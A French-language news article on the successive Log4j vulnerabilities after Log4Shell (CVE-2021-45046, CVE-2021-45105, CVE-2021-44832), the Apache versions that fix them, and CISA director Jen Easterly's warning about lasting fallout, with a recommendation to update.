La version 2.15.0 ne résolvait pas un autre problème - CVE-2021-45046 - qui permettait à un attaquant distant contrôlant le Thread Context Map (MDC) de préparer une entrée malveillante à l'aide d'un modèle de recherche JNDI. Le résultat pourrait être l'exécution de code à distance, heureusement pas dans tous les environnements.

La version 2.16.0 a résolu ce problème. Mais elle n'a pas corrigé CVE-2021-45105, que l'Apache Software Foundation décrit comme suit :

« Les versions 2.0-alpha1 à 2.16.0 d'Apache Log4j2 ne protégeaient pas contre la récursivité incontrôlée des recherches auto-référentielles. Lorsque la configuration de la journalisation utilise une disposition de modèle autre que celle par défaut avec une recherche de contexte (par exemple, $${ctx:loginId}), les attaquants contrôlant les données d'entrée de Thread Context Map (MDC) peuvent créer des données d'entrée malveillantes contenant une recherche récursive, ce qui entraîne une StackOverflowError qui mettra fin au processus. Ceci est également connu sous le nom d'attaque DOS (Denial of Service) ».

La faille a été corrigée dans Log4j 2.17.0 (Java 8).

Un autre bogue critique d'exécution de code à distance, suivi en tant que CVE-2021-44832 a été découvert dans la même bibliothèque de journalisation Apache Log4j. Il s'agit de la quatrième vulnérabilité de la bibliothèque Log4j.

Classé « modéré » en gravité avec un score de 6,6 sur l'échelle CVSS, la vulnérabilité provient du manque de contrôles supplémentaires sur l'accès JDNI dans log4j.

« JDBC Appender doit utiliser JndiManager lors de l'accès à JNDI. L'accès JNDI doit être contrôlé via une propriété système », est-il indiqué sur la description du problème. « Lié à CVE-2021-44832 où un attaquant autorisé à modifier le fichier de configuration de journalisation peut construire une configuration malveillante à l'aide d'un appender JDBC avec une source de données référençant un URI JNDI qui peut exécuter du code à distance. »

L'équipe de sécurité d'Apache a publié une autre version d'Apache Log4J (version 2.17.1) corrigeant le bogue d'exécution de code à distance CVE-2021-44832 récemment découvert. C'est une autre mauvaise situation pour la plupart des utilisateurs, mais, encore une fois, il est fortement recommandé de mettre son système à jour pour résoudre ce problème critique.

La directrice de la CISA, Jen Easterly, a indiqué plus tôt cette année que la vulnérabilité, qui affecte des dizaines de millions d'appareils connectés à Internet, est la pire qu'elle ait vue dans sa carrière. Il est possible, a-t-elle dit, que les attaquants patientent, attendant que les entreprises et autres baissent leurs défenses avant d'attaquer : « Nous nous attendons à ce que Log4Shell soit utilisé dans les intrusions dans le futur », a déclaré Easterly. Elle a noté la violation de données d'Equifax en 2017, qui a compromis les informations personnelles de près de 150 millions d'Américains, découlait d'une vulnérabilité dans un logiciel open source.

Sources : SentinelOne, VMWare (1, 2)

Et vous ?

Avez-vous déjà effectué les mises à jour pour corriger Log4J ?
Partagez-vous l'opinion de la directrice du CISA qui s'attend à des retombées de la faille qui vont s'étendre sur des années ?

Voir aussi :

95 000 cyberattaques ont été recensées cette année, une augmentation de 45 398 par rapport à 2020, les grandes entreprises étant les plus ciblées, selon Orange Cyberdefense
Les ransomwares ont augmenté de 62 % depuis 2019, avec un pic de 158 % en Amérique du Nord, les cybercriminels utilisant des tactiques plus sophistiquées et des variantes plus dangereuses comme Ryuk
Les entreprises de taille moyenne sont 490 % plus susceptibles d'être victimes d'une atteinte à la vie privé, dû au manque de ressources et au coût élevé des expertises, selon Coro